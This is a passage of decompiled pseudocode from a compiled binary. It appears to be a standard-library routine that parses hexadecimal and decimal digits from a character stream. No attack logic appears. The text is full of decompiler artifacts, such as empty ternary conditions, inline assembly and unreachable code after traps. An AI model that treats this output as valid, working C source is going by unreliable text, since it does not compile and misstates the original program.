					if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x50)))) <= 0) {
						_t717 =  *_t898;
						_t513 = _t717[0x1c]();
					} else {
						_t513 =  *_t717 & 0x0000ffff;
					}
					_t569 = 0;
					sil = (_t513 & 0x0000ffff) != 0xffff;
				}
				if(_t559 == _t569) {
					L119:
					_t559 = 0;
				} else {
					if( *(_t883 + 8) == 0) {
						_t981 =  *_t883;
						if(_t981 == 0) {
							L73:
							 *_t883 = 0;
						} else {
							_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t981 + 0x38))));
							if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t981 + 0x50)))) <= 0) {
								_t717 =  *_t981;
								_t512 = _t717[0x1c]();
							} else {
								_t512 =  *_t717 & 0x0000ffff;
							}
							_t531 = _t512 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L73;
							} else {
								 *(_t883 + 0xa) = _t512;
							}
						}
						 *(_t883 + 8) = 1;
					}
					if(( *(_t883 + 0xa) & 0x0000ffff) != _v32) {
						goto L119;
					} else {
						_t974 =  *_t883;
						if(_t974 == 0) {
							L86:
							 *_t883 = 0;
							 *(_t883 + 8) = 1;
							goto L87;
						} else {
							_t857 =  *((intOrPtr*)(_t974 + 0x38));
							_t1033 =  *_t857;
							if(_t1033 == 0) {
								L80:
								_t508 =  *((intOrPtr*)( *_t974 + 0x40))();
							} else {
								_t1044 =  *((intOrPtr*)(_t974 + 0x50));
								_t598 =  *_t1044;
								if(_t598 <= 0) {
									goto L80;
								} else {
									 *_t1044 = _t598 - 1;
									 *_t857 =  &(_t1033[1]);
									_t508 =  *_t1033 & 0x0000ffff;
								}
							}
							if((_t508 & 0x0000ffff) == 0xffff) {
								goto L86;
							} else {
								_t979 =  *_t883;
								 *(_t883 + 8) = 0;
								if(_t979 == 0) {
									L87:
									_t595 = 0;
								} else {
									_t860 =  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x38))));
									if(_t860 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x50)))) <= 0) {
										_t510 =  *((intOrPtr*)( *_t979 + 0x38))();
									} else {
										_t510 =  *_t860 & 0x0000ffff;
									}
									_t595 = 0;
									sil = (_t510 & 0x0000ffff) != 0xffff;
								}
							}
						}
						_t717 = _a96;
						_t975 =  *_t717;
						if(_t975 == 0) {
							_t500 = 0;
							__eflags = 0;
						} else {
							_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t975 + 0x38))));
							if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t975 + 0x50)))) <= 0) {
								_t717 =  *_t975;
								_t506 = _t717[0x1c]();
							} else {
								_t506 =  *_t717 & 0x0000ffff;
							}
							_t531 = _t506 & 0x0000ffff;
							_t500 = 0 | _t531 != 0x0000ffff;
						}
						dil = 1;
						if(_t595 != _t500) {
							if( *(_t883 + 8) == 0) {
								_t978 =  *_t883;
								if(_t978 == 0) {
									L106:
									 *_t883 = 0;
								} else {
									_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t978 + 0x38))));
									if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t978 + 0x50)))) <= 0) {
										_t717 =  *_t978;
										_t505 = _t717[0x1c]();
									} else {
										_t505 =  *_t717 & 0x0000ffff;
									}
									_t531 = _t505 & 0x0000ffff;
									if(_t531 == 0xffff) {
										goto L106;
									} else {
										 *(_t883 + 0xa) = _t505;
									}
								}
								 *(_t883 + 8) = 1;
							}
							_t501 =  *(_t883 + 0xa) & 0x0000ffff;
							if(_t501 == _a18 || _t501 == _a16) {
								_t976 =  *_t883;
								if(_t976 == 0) {
									L117:
									 *_t883 = 0;
									_t502 = 1;
								} else {
									_t717 =  *((intOrPtr*)(_t976 + 0x38));
									_t1030 =  *_t717;
									if(_t1030 == 0) {
										L114:
										_t717 =  *_t976;
										_t503 = _t717[0x20]();
									} else {
										_t1044 =  *((intOrPtr*)(_t976 + 0x50));
										_t596 =  *_t1044;
										if(_t596 <= 0) {
											goto L114;
										} else {
											 *_t1044 = _t596 - 1;
											 *_t717 =  &(_t1030[1]);
											_t503 =  *_t1030 & 0x0000ffff;
										}
									}
									if((_t503 & 0x0000ffff) == 0xffff) {
										goto L117;
									} else {
										_t502 = 0;
									}
								}
								 *(_t883 + 8) = _t502;
								goto L119;
							}
						}
					}
				}
				_a108 = _t559;
				_a112 = _t1098 + 2;
				_t1060 =  >  ? _v80 :  &_v80;
				_t423 =  *_t1060;
				_v48 = _t1081;
				if(_t423 == 0x7f || _t423 <= 0) {
					_t1082 = _t1092;
					r13d = 0;
					_t1093 =  &_v34;
					r15d = 0;
					while(1) {
						_t899 =  *_t883;
						__eflags = _t899;
						_t560 = 0;
						if(_t899 == 0) {
							goto L147;
						}
						_t823 =  *((intOrPtr*)( *((intOrPtr*)(_t899 + 0x38))));
						__eflags = _t823;
						if(_t823 == 0) {
							L145:
							_t487 =  *((intOrPtr*)( *_t899 + 0x38))();
						} else {
							__eflags =  *( *(_t899 + 0x50));
							if( *( *(_t899 + 0x50)) <= 0) {
								goto L145;
							} else {
								_t487 =  *_t823 & 0x0000ffff;
							}
						}
						_t560 = 0;
						__eflags = (_t487 & 0x0000ffff) - 0xffff;
						dil = (_t487 & 0x0000ffff) != 0xffff;
						__eflags = dil;
						L147:
						_t900 =  *_a96;
						__eflags = _t900;
						if(_t900 == 0) {
							_t424 = 0;
							__eflags = _t560;
							if(_t560 != 0) {
								goto L153;
							} else {
							}
						} else {
							_t831 =  *((intOrPtr*)( *((intOrPtr*)(_t900 + 0x38))));
							__eflags = _t831;
							if(_t831 == 0) {
								L151:
								_t483 =  *((intOrPtr*)( *_t900 + 0x38))();
							} else {
								__eflags =  *( *(_t900 + 0x50));
								if( *( *(_t900 + 0x50)) <= 0) {
									goto L151;
								} else {
									_t483 =  *_t831 & 0x0000ffff;
								}
							}
							__eflags = (_t483 & 0x0000ffff) - 0xffff;
							_t424 = 0 | __eflags != 0x00000000;
							if(__eflags != 0) {
								L153:
								__eflags =  *(_t883 + 8);
								if( *(_t883 + 8) == 0) {
									_t952 =  *_t883;
									__eflags = _t952;
									if(_t952 == 0) {
										L163:
										 *_t883 = 0;
									} else {
										_t828 =  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x38))));
										__eflags = _t828;
										if(_t828 == 0) {
											L160:
											_t424 =  *((intOrPtr*)( *_t952 + 0x38))();
										} else {
											__eflags =  *( *(_t952 + 0x50));
											if( *( *(_t952 + 0x50)) <= 0) {
												goto L160;
											} else {
												_t424 =  *_t828 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L163;
										} else {
											 *(_t883 + 0xa) = _t424;
										}
									}
									 *(_t883 + 8) = 1;
								}
								_t532 =  *(_t883 + 0xa) & 0x0000ffff;
								_t719 = _t1093;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t550 =  *(_t719 + 2) & 0x0000ffff;
									_t719 = _t719 + 2;
									__eflags = _t550;
									if(_t550 == 0) {
										break;
									}
									__eflags = _t550 - _t532;
									if(_t550 != _t532) {
										continue;
									} else {
										break;
									}
									goto L172;
								}
								_t721 = _t719 -  &_v32 >> 1;
								__eflags = _t721 - 0x15;
								if(_t721 <= 0x15) {
									__eflags = r13d - 0x30;
									if(r13d < 0x30) {
										__eflags = r13d;
										if(r13d != 0) {
											L131:
											_t948 = _a112;
											 *_t948 =  *((intOrPtr*)(_t721 + "0123456789ABCDEFabcdef-+XxPp"));
											_a112 = _t948 + 1;
											r13d = r13d + 1;
											__eflags = r13d;
										} else {
											__eflags = _t721;
											if(_t721 != 0) {
												goto L131;
											} else {
												r13d = 0;
											}
										}
									} else {
										r15d = r15d + 1;
									}
									_t950 =  *_t883;
									__eflags = _t950;
									if(_t950 == 0) {
										L139:
										 *_t883 = 0;
										_t481 = 1;
									} else {
										_t825 =  *((intOrPtr*)(_t950 + 0x38));
										_t1020 =  *_t825;
										__eflags = _t1020;
										if(_t1020 == 0) {
											L136:
											_t485 =  *((intOrPtr*)( *_t950 + 0x40))();
										} else {
											_t1054 =  *((intOrPtr*)(_t950 + 0x50));
											_t590 =  *_t1054;
											__eflags = _t590;
											if(_t590 <= 0) {
												goto L136;
											} else {
												 *_t1054 = _t590 - 1;
												 *_t825 =  &(_t1020[1]);
												_t485 =  *_t1020 & 0x0000ffff;
											}
										}
										__eflags = (_t485 & 0x0000ffff) - 0xffff;
										if((_t485 & 0x0000ffff) == 0xffff) {
											goto L139;
										} else {
											_t481 = 0;
										}
									}
									 *(_t883 + 8) = _t481;
									_a108 = 1;
									continue;
								}
							}
						}
						_a88 = 0;
						_t1094 = _t1082;
						r12d = r15d;
						__eflags = _a108 & 0x00000001;
						if((_a108 & 0x00000001) != 0) {
							goto L170;
						}
						goto L172;
					}
				} else {
					r13d = 0;
					_a32 = _t1092;
					if(_v64 == 0) {
						_t424 = 0;
						__eflags = 0;
						_a88 = _t717;
					} else {
						_t854 =  *_t1081;
						_t424 =  *((intOrPtr*)(_t854 + 0x28))();
						_a88 = _t854;
					}
					_v40 = _t1060;
					_t1086 =  &_a48;
					_a48 = 0;
					asm("movaps xmm0, [0x358dd]");
					asm("movups [ebp+0x40], xmm0");
					_a84 = 0;
					r14d = 0;
					while(1) {
						_t953 =  *_t883;
						_t567 = 0;
						_t592 = 0;
						if(_t953 != 0) {
							_t842 =  *((intOrPtr*)( *((intOrPtr*)(_t953 + 0x38))));
							if(_t842 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t953 + 0x50)))) <= 0) {
								_t495 =  *((intOrPtr*)( *_t953 + 0x38))();
							} else {
								_t495 =  *_t842 & 0x0000ffff;
							}
							_t424 = _t495 & 0x0000ffff;
							_t592 = 0;
							sil = (_t495 & 0x0000ffff) != 0xffff;
						}
						_t833 = _a96;
						_t954 =  *_t833;
						if(_t954 != 0) {
							_t833 =  *((intOrPtr*)( *((intOrPtr*)(_t954 + 0x38))));
							if(_t833 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t954 + 0x50)))) <= 0) {
								_t833 =  *_t954;
								_t494 = _t833[0x1c]();
							} else {
								_t494 =  *_t833 & 0x0000ffff;
							}
							_t424 = _t494 & 0x0000ffff;
							_t567 = 0;
							dil = (_t494 & 0x0000ffff) != 0xffff;
						}
						if(_t592 == _t567) {
							break;
						}
						if( *(_t883 + 8) == 0) {
							_t972 =  *_t883;
							if(_t972 == 0) {
								L237:
								 *_t883 = 0;
							} else {
								_t833 =  *((intOrPtr*)( *((intOrPtr*)(_t972 + 0x38))));
								if(_t833 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t972 + 0x50)))) <= 0) {
									_t833 =  *_t972;
									_t493 = _t833[0x1c]();
								} else {
									_t493 =  *_t833 & 0x0000ffff;
								}
								_t531 = _t493 & 0x0000ffff;
								if(_t531 == 0xffff) {
									goto L237;
								} else {
									 *(_t883 + 0xa) = _t493;
								}
							}
							 *(_t883 + 8) = 1;
						}
						_t424 =  *(_t883 + 0xa) & 0x0000ffff;
						_t956 =  &_v34;
						asm("o16 nop [cs:eax+eax]");
						while(1) {
							_t555 =  *(_t956 + 2) & 0x0000ffff;
							_t956 = _t956 + 2;
							if(_t555 == 0) {
								break;
							}
							if(_t555 != _t424) {
								continue;
							} else {
							}
							break;
						}
						_t958 = _t956 -  &_v32 >> 1;
						if(_t958 > 0x15) {
							__eflags = _a72 - 0xf;
							_t960 =  <=  ? _t1086 : _a48;
							__eflags =  *((char*)(_t960 + _t1092));
							if( *((char*)(_t960 + _t1092)) == 0) {
								break;
							} else {
								__eflags = _a88;
								if(_a88 == 0) {
									break;
								} else {
									__eflags = _t424 - _a88;
									if(_t424 != _a88) {
										break;
									} else {
										_t1101 = _a64;
										__eflags = _t1101 - 0xfffffffe;
										if(_t1101 >= 0xfffffffe) {
											_t489 = L00430CE0(_t530, _t555, _t602, _t833, "string too long", _t1044, _t1060);
											asm("ud2");
											_t1062 = _t833;
											_t838 = _a72;
											__eflags = _t838 - 0x10;
											if(_t838 >= 0x10) {
												_t964 = _a48;
												__eflags = _t838 + 1 - 0x1000;
												if(_t838 + 1 >= 0x1000) {
													_t964 =  *((intOrPtr*)(_t964 - 8));
												}
												_t489 = E00402090(_t489, _t964);
											}
											_t839 = _v56;
											__eflags = _t839 - 0x10;
											if(_t839 >= 0x10) {
												_t963 = _v80;
												_t839 = _t839 + 1;
												__eflags = _t839 - 0x1000;
												if(_t839 >= 0x1000) {
													_t963 =  *((intOrPtr*)(_t963 - 8));
												}
												_t489 = E00402090(_t489, _t963);
											}
											E0044CEA0(_t489, _t1062);
											asm("ud2");
											 *0x44eb4d =  *0x44eb4d + r8b;
											 *_t839 =  *_t839 + 0x64;
											_t413 = _t839 - 0x6f6f6f70;
											 *_t413 =  *(_t839 - 0x6f6f6f70) + _t555;
											__eflags =  *_t413;
											_push(_t1064);
											return 0x64;
										} else {
											_t1102 = _t1101 + 1;
											r8d = 0;
											_t492 = E00404270(_t424,  &_a40, _t1102);
											__eflags = _t492;
											if(_t492 != 0) {
												__eflags = _a72 - 0xf;
												_t969 =  <=  ? _t1086 : _a48;
												 *((char*)(( <=  ? _t1086 : _a48) + _a64)) = 0;
												__eflags = _a72 - 0xf;
												_t848 =  <=  ? _t1086 : _a48;
												__eflags = _t848;
												_a64 = _t1102;
												 *((char*)(_t848 + _t1102)) = 0;
											}
											_t1092 = _t1092 + 1;
											goto L209;
										}
									}
								}
							}
						} else {
							if(r13d < 0x30) {
								__eflags = r13d;
								if(r13d != 0) {
									L206:
									_t970 = _a112;
									 *_t970 =  *((intOrPtr*)(_t958 + "0123456789ABCDEFabcdef-+XxPp"));
									_a112 = _t970 + 1;
									r13d = r13d + 1;
									__eflags = r13d;
								} else {
									__eflags = _t958;
									if(_t958 != 0) {
										goto L206;
									} else {
										r13d = 0;
									}
								}
							} else {
								_a84 = _a84 + 1;
							}
							_t851 =  <=  ? _t1086 : _a48;
							_t531 =  *(_t851 + _t1092);
							_a108 = 1;
							if(_t531 != 0x7f) {
								_t531 = _t531 + 1;
								 *(_t851 + _t1092) = _t531;
							}
							L209:
							_t966 =  *_t883;
							if(_t966 == 0) {
								L192:
								 *_t883 = 0;
								_t424 = 1;
								 *(_t883 + 8) = 1;
							} else {
								_t844 =  *((intOrPtr*)(_t966 + 0x38));
								_t1029 =  *_t844;
								if(_t1029 == 0) {
									L213:
									_t496 =  *((intOrPtr*)( *_t966 + 0x40))();
								} else {
									_t1044 =  *((intOrPtr*)(_t966 + 0x50));
									_t593 =  *_t1044;
									if(_t593 <= 0) {
										goto L213;
									} else {
										 *_t1044 = _t593 - 1;
										_t183 =  &(_t1029[1]); // 0x3
										 *_t844 = _t183;
										_t496 =  *_t1029 & 0x0000ffff;
									}
								}
								if((_t496 & 0x0000ffff) == 0xffff) {
									goto L192;
								} else {
									_t424 = 0;
									 *(_t883 + 8) = 0;
								}
							}
							continue;
						}
						goto L531;
					}
					__eflags = _t1092;
					if(_t1092 == 0) {
						_t592 = 0;
						__eflags = 0;
						goto L257;
					} else {
						__eflags = _a72 - 0xf;
						_t837 =  <=  ? _t1086 : _a48;
						_t553 =  *((intOrPtr*)(_t837 + _t1092));
						_t424 = 0;
						__eflags = _t553;
						_t547 = _t531 & 0xffffff00 | _t553 > 0x00000000;
						__eflags = _t553;
						sil = _t553 <= 0;
						__eflags = sil;
						if(sil <= 0) {
							L257:
							_t834 = _a72;
						} else {
							_t424 = _t547;
							_t1096 = _t1092 + _t837;
							__eflags = _t1096;
							if(_t1096 == 0) {
								goto L257;
							} else {
								_t834 = _a72;
								__eflags = _t834 - 0xf;
								_t1087 =  >  ? _a48 : _t1086;
								_t1055 = _v40;
								while(1) {
									_t548 =  *_t1055 & 0x000000ff;
									__eflags = _t548 - 0x7f;
									if(_t548 == 0x7f) {
										break;
									}
									__eflags = _t1096 - 1;
									_t554 =  *(_t1087 + _t1096 - 1) & 0x000000ff;
									if(_t1096 != 1) {
										__eflags = _t548 - _t554;
										if(_t548 != _t554) {
											goto L380;
										} else {
											goto L252;
										}
									} else {
										__eflags = _t548 - _t554;
										if(_t548 >= _t554) {
											L252:
											_t1096 = _t1096 - 1;
											__eflags =  *(_t1055 + 1);
											if( *(_t1055 + 1) > 0) {
												_t1055 = _t1055 + 1;
												__eflags = _t1055;
											}
											__eflags = _t1096;
											if(_t1096 != 0) {
												continue;
											} else {
												break;
											}
										} else {
											L380:
											sil = 1;
										}
									}
									goto L258;
								}
								_t592 = 0;
							}
						}
					}
					L258:
					__eflags = _t834 - 0x10;
					_t1094 = _a32;
					r12d = _a84;
					if(_t834 >= 0x10) {
						_t955 = _a48;
						__eflags = _t834 + 1 - 0x1000;
						if(_t834 + 1 >= 0x1000) {
							_t955 =  *((intOrPtr*)(_t955 - 8));
						}
						_t424 = E00402090(_t424, _t955);
					}
					_a88 = _t592;
					__eflags = _a108 & 0x00000001;
					if((_a108 & 0x00000001) != 0) {
						L170:
						__eflags = r13d;
						if(r13d == 0) {
							_t820 = _a112;
							 *_t820 = 0x30;
							_t821 = _t820 + 1;
							__eflags = _t821;
							_a112 = _t821;
						}
						goto L172;
					} else {
						L172:
						_t902 =  *_t883;
						_t570 = 0;
						__eflags = _t902;
						_t561 = 0;
						r15d = r12d;
						if(_t902 != 0) {
							_t818 =  *((intOrPtr*)( *((intOrPtr*)(_t902 + 0x38))));
							__eflags = _t818;
							if(_t818 == 0) {
								L176:
								_t479 =  *((intOrPtr*)( *_t902 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t902 + 0x50));
								if( *( *(_t902 + 0x50)) <= 0) {
									goto L176;
								} else {
									_t479 =  *_t818 & 0x0000ffff;
								}
							}
							_t424 = _t479 & 0x0000ffff;
							_t561 = 0;
							__eflags = (_t479 & 0x0000ffff) - 0xffff;
							dil = (_t479 & 0x0000ffff) != 0xffff;
							__eflags = dil;
						}
						_t903 =  *_a96;
						__eflags = _t903;
						if(_t903 != 0) {
							_t815 =  *((intOrPtr*)( *((intOrPtr*)(_t903 + 0x38))));
							__eflags = _t815;
							if(_t815 == 0) {
								L182:
								_t478 =  *((intOrPtr*)( *_t903 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t903 + 0x50));
								if( *( *(_t903 + 0x50)) <= 0) {
									goto L182;
								} else {
									_t478 =  *_t815 & 0x0000ffff;
								}
							}
							_t424 = _t478 & 0x0000ffff;
							_t570 = 0;
							__eflags = (_t478 & 0x0000ffff) - 0xffff;
							sil = (_t478 & 0x0000ffff) != 0xffff;
							__eflags = sil;
						}
						__eflags = _t561 - _t570;
						if(_t561 == _t570) {
							L275:
							__eflags = r13d;
							if(r13d == 0) {
								goto L285;
							}
						} else {
							__eflags =  *(_t883 + 8);
							_t1052 = _v48;
							if( *(_t883 + 8) == 0) {
								_t946 =  *_t883;
								__eflags = _t946;
								if(_t946 == 0) {
									L267:
									 *_t883 = 0;
								} else {
									_t812 =  *((intOrPtr*)( *((intOrPtr*)(_t946 + 0x38))));
									__eflags = _t812;
									if(_t812 == 0) {
										L264:
										_t477 =  *((intOrPtr*)( *_t946 + 0x38))();
									} else {
										__eflags =  *( *(_t946 + 0x50));
										if( *( *(_t946 + 0x50)) <= 0) {
											goto L264;
										} else {
											_t477 =  *_t812 & 0x0000ffff;
										}
									}
									__eflags = (_t477 & 0x0000ffff) - 0xffff;
									if((_t477 & 0x0000ffff) == 0xffff) {
										goto L267;
									} else {
										 *(_t883 + 0xa) = _t477;
									}
								}
								 *(_t883 + 8) = 1;
							}
							_t807 =  *_t1052;
							_t424 =  *((intOrPtr*)(_t807 + 0x20))();
							__eflags = ( *(_t883 + 0xa) & 0x0000ffff) - _t424;
							if(( *(_t883 + 0xa) & 0x0000ffff) != _t424) {
								r12d = r15d;
								goto L275;
							} else {
								E0043DFF0(_t424);
								 *_a112 =  *((intOrPtr*)( *_t807));
								_t944 =  *_t883;
								__eflags = _t944;
								r12d = r15d;
								if(_t944 == 0) {
									L280:
									 *_t883 = 0;
									_t424 = 1;
								} else {
									_t809 =  *((intOrPtr*)(_t944 + 0x38));
									_t1016 =  *_t809;
									__eflags = _t1016;
									if(_t1016 == 0) {
										L277:
										_t475 =  *((intOrPtr*)( *_t944 + 0x40))();
										r12d = r15d;
									} else {
										_t1053 =  *((intOrPtr*)(_t944 + 0x50));
										_t588 =  *_t1053;
										__eflags = _t588;
										if(_t588 <= 0) {
											goto L277;
										} else {
											 *_t1053 = _t588 - 1;
											 *_t809 =  &(_t1016[1]);
											_t475 =  *_t1016 & 0x0000ffff;
										}
									}
									__eflags = (_t475 & 0x0000ffff) - 0xffff;
									if((_t475 & 0x0000ffff) == 0xffff) {
										goto L280;
									} else {
										_t424 = 0;
									}
								}
								_a112 = _a112 + 1;
								 *(_t883 + 8) = _t424;
								__eflags = r13d;
								if(r13d == 0) {
									while(1) {
										L285:
										_t937 =  *_t883;
										_t584 = 0;
										__eflags = _t937;
										_t566 = 0;
										if(_t937 == 0) {
											goto L291;
										}
										_t797 =  *((intOrPtr*)( *((intOrPtr*)(_t937 + 0x38))));
										__eflags = _t797;
										if(_t797 == 0) {
											L289:
											_t470 =  *((intOrPtr*)( *_t937 + 0x38))();
										} else {
											__eflags =  *( *(_t937 + 0x50));
											if( *( *(_t937 + 0x50)) <= 0) {
												goto L289;
											} else {
												_t470 =  *_t797 & 0x0000ffff;
											}
										}
										_t424 = _t470 & 0x0000ffff;
										_t566 = 0;
										__eflags = (_t470 & 0x0000ffff) - 0xffff;
										dil = (_t470 & 0x0000ffff) != 0xffff;
										__eflags = dil;
										L291:
										_t938 =  *_a96;
										__eflags = _t938;
										if(_t938 != 0) {
											_t805 =  *((intOrPtr*)( *((intOrPtr*)(_t938 + 0x38))));
											__eflags = _t805;
											if(_t805 == 0) {
												L295:
												_t469 =  *((intOrPtr*)( *_t938 + 0x38))();
											} else {
												__eflags =  *( *(_t938 + 0x50));
												if( *( *(_t938 + 0x50)) <= 0) {
													goto L295;
												} else {
													_t469 =  *_t805 & 0x0000ffff;
												}
											}
											_t424 = _t469 & 0x0000ffff;
											_t584 = 0;
											__eflags = (_t469 & 0x0000ffff) - 0xffff;
											sil = (_t469 & 0x0000ffff) != 0xffff;
											__eflags = sil;
										}
										__eflags = _t566 - _t584;
										if(_t566 != _t584) {
											__eflags =  *(_t883 + 8);
											if( *(_t883 + 8) == 0) {
												_t941 =  *_t883;
												__eflags = _t941;
												if(_t941 == 0) {
													L306:
													 *_t883 = 0;
												} else {
													_t802 =  *((intOrPtr*)( *((intOrPtr*)(_t941 + 0x38))));
													__eflags = _t802;
													if(_t802 == 0) {
														L303:
														_t468 =  *((intOrPtr*)( *_t941 + 0x38))();
													} else {
														__eflags =  *( *(_t941 + 0x50));
														if( *( *(_t941 + 0x50)) <= 0) {
															goto L303;
														} else {
															_t468 =  *_t802 & 0x0000ffff;
														}
													}
													__eflags = (_t468 & 0x0000ffff) - 0xffff;
													if((_t468 & 0x0000ffff) == 0xffff) {
														goto L306;
													} else {
														 *(_t883 + 0xa) = _t468;
													}
												}
												 *(_t883 + 8) = 1;
											}
											_t424 =  *(_t883 + 0xa) & 0x0000ffff;
											__eflags = ( *(_t883 + 0xa) & 0x0000ffff) - _v32;
											if(( *(_t883 + 0xa) & 0x0000ffff) == _v32) {
												_t939 =  *_t883;
												__eflags = _t939;
												if(_t939 == 0) {
													L316:
													 *_t883 = 0;
													_t467 = 1;
													goto L283;
												} else {
													_t799 =  *((intOrPtr*)(_t939 + 0x38));
													_t1012 =  *_t799;
													__eflags = _t1012;
													if(_t1012 == 0) {
														L313:
														_t471 =  *((intOrPtr*)( *_t939 + 0x40))();
													} else {
														_t1051 =  *((intOrPtr*)(_t939 + 0x50));
														_t585 =  *_t1051;
														__eflags = _t585;
														if(_t585 <= 0) {
															goto L313;
														} else {
															 *_t1051 = _t585 - 1;
															 *_t799 =  &(_t1012[1]);
															_t471 =  *_t1012 & 0x0000ffff;
														}
													}
													__eflags = (_t471 & 0x0000ffff) - 0xffff;
													if((_t471 & 0x0000ffff) == 0xffff) {
														goto L316;
													} else {
														_t467 = 0;
														L283:
														 *(_t883 + 8) = _t467;
														r12d = r12d - 1;
														__eflags = r12d;
														_t424 = 1;
														_a108 = 1;
														continue;
													}
												}
											}
										}
										__eflags = r12d;
										if(r12d < 0) {
											_t794 = _a112;
											 *_t794 = 0x30;
											_a112 = _t794 + 1;
											r12d = r12d + 1;
											__eflags = r12d;
										}
										r15d = r12d;
										goto L320;
									}
								}
							}
						}
						L320:
						_t1083 =  &_v34;
						while(1) {
							L333:
							_t904 =  *_t883;
							_t571 = 0;
							__eflags = _t904;
							_t562 = 0;
							if(_t904 == 0) {
								goto L339;
							}
							_t783 =  *((intOrPtr*)( *((intOrPtr*)(_t904 + 0x38))));
							__eflags = _t783;
							if(_t783 == 0) {
								L337:
								_t466 =  *((intOrPtr*)( *_t904 + 0x38))();
							} else {
								__eflags =  *( *(_t904 + 0x50));
								if( *( *(_t904 + 0x50)) <= 0) {
									goto L337;
								} else {
									_t466 =  *_t783 & 0x0000ffff;
								}
							}
							_t424 = _t466 & 0x0000ffff;
							_t562 = 0;
							__eflags = (_t466 & 0x0000ffff) - 0xffff;
							dil = (_t466 & 0x0000ffff) != 0xffff;
							__eflags = dil;
							L339:
							_t905 =  *_a96;
							__eflags = _t905;
							if(_t905 != 0) {
								_t791 =  *((intOrPtr*)( *((intOrPtr*)(_t905 + 0x38))));
								__eflags = _t791;
								if(_t791 == 0) {
									L343:
									_t465 =  *((intOrPtr*)( *_t905 + 0x38))();
								} else {
									__eflags =  *( *(_t905 + 0x50));
									if( *( *(_t905 + 0x50)) <= 0) {
										goto L343;
									} else {
										_t465 =  *_t791 & 0x0000ffff;
									}
								}
								_t424 = _t465 & 0x0000ffff;
								_t571 = 0;
								__eflags = (_t465 & 0x0000ffff) - 0xffff;
								sil = (_t465 & 0x0000ffff) != 0xffff;
								__eflags = sil;
							}
							__eflags = _t562 - _t571;
							if(_t562 != _t571) {
								__eflags =  *(_t883 + 8);
								if( *(_t883 + 8) == 0) {
									_t936 =  *_t883;
									__eflags = _t936;
									if(_t936 == 0) {
										L354:
										 *_t883 = 0;
									} else {
										_t788 =  *((intOrPtr*)( *((intOrPtr*)(_t936 + 0x38))));
										__eflags = _t788;
										if(_t788 == 0) {
											L351:
											_t424 =  *((intOrPtr*)( *_t936 + 0x38))();
										} else {
											__eflags =  *( *(_t936 + 0x50));
											if( *( *(_t936 + 0x50)) <= 0) {
												goto L351;
											} else {
												_t424 =  *_t788 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L354;
										} else {
											 *(_t883 + 0xa) = _t424;
										}
									}
									 *(_t883 + 8) = 1;
								}
								_t541 =  *(_t883 + 0xa) & 0x0000ffff;
								_t779 = _t1083;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t552 =  *(_t779 + 2) & 0x0000ffff;
									_t779 = _t779 + 2;
									__eflags = _t552;
									if(_t552 == 0) {
										break;
									}
									__eflags = _t552 - _t541;
									if(_t552 != _t541) {
										continue;
									} else {
										break;
									}
									L516:
									__eflags = r10b & 0x00000001;
									_t1074 =  ==  ? _t1094 : _t1073;
									__eflags = _a88;
									_t1075 =  !=  ? _t1094 :  ==  ? _t1094 : _t1073;
									 *((char*)( !=  ? _t1094 :  ==  ? _t1094 : _t1073)) = 0;
									 *_a232 = r9d;
									_t726 = _v56;
									__eflags = _t726 - 0x10;
									if(_t726 >= 0x10) {
										_t908 = _v80;
										__eflags = _t726 + 1 - 0x1000;
										if(_t726 + 1 >= 0x1000) {
											_t908 =  *((intOrPtr*)(_t908 - 8));
										}
										E00402090(_t424, _t908);
									}
									__eflags = 0;
									return 0;
									goto L531;
								}
								_t781 = _t779 -  &_v32 >> 1;
								__eflags = _t781 - 0x15;
								if(_t781 <= 0x15) {
									__eflags = r13d - 0x2f;
									if(r13d <= 0x2f) {
										_t934 = _a112;
										 *_t934 =  *((intOrPtr*)(_t781 + "0123456789ABCDEFabcdef-+XxPp"));
										_a112 = _t934 + 1;
										r13d = r13d + 1;
										__eflags = r13d;
									}
									_t931 =  *_t883;
									__eflags = _t931;
									if(_t931 == 0) {
										L331:
										 *_t883 = 0;
										_t461 = 1;
									} else {
										_t785 =  *((intOrPtr*)(_t931 + 0x38));
										_t1008 =  *_t785;
										__eflags = _t1008;
										if(_t1008 == 0) {
											L328:
											_t462 =  *((intOrPtr*)( *_t931 + 0x40))();
										} else {
											_t1050 =  *((intOrPtr*)(_t931 + 0x50));
											_t582 =  *_t1050;
											__eflags = _t582;
											if(_t582 <= 0) {
												goto L328;
											} else {
												 *_t1050 = _t582 - 1;
												 *_t785 =  &(_t1008[1]);
												_t462 =  *_t1008 & 0x0000ffff;
											}
										}
										__eflags = (_t462 & 0x0000ffff) - 0xffff;
										if((_t462 & 0x0000ffff) == 0xffff) {
											goto L331;
										} else {
											_t461 = 0;
										}
									}
									 *(_t883 + 8) = _t461;
									_t424 = 1;
									_a108 = 1;
									continue;
								}
							}
							r10d = _a108;
							__eflags = r10b & 0x00000001;
							if((r10b & 0x00000001) != 0) {
								_t906 =  *_t883;
								_t572 = 0;
								__eflags = _t906;
								_t563 = 0;
								_t1073 = _a112;
								r9d = r15d;
								if(_t906 != 0) {
									_t777 =  *((intOrPtr*)( *((intOrPtr*)(_t906 + 0x38))));
									__eflags = _t777;
									if(_t777 == 0) {
										L366:
										_t460 =  *((intOrPtr*)( *_t906 + 0x38))();
										_t1073 = _a112;
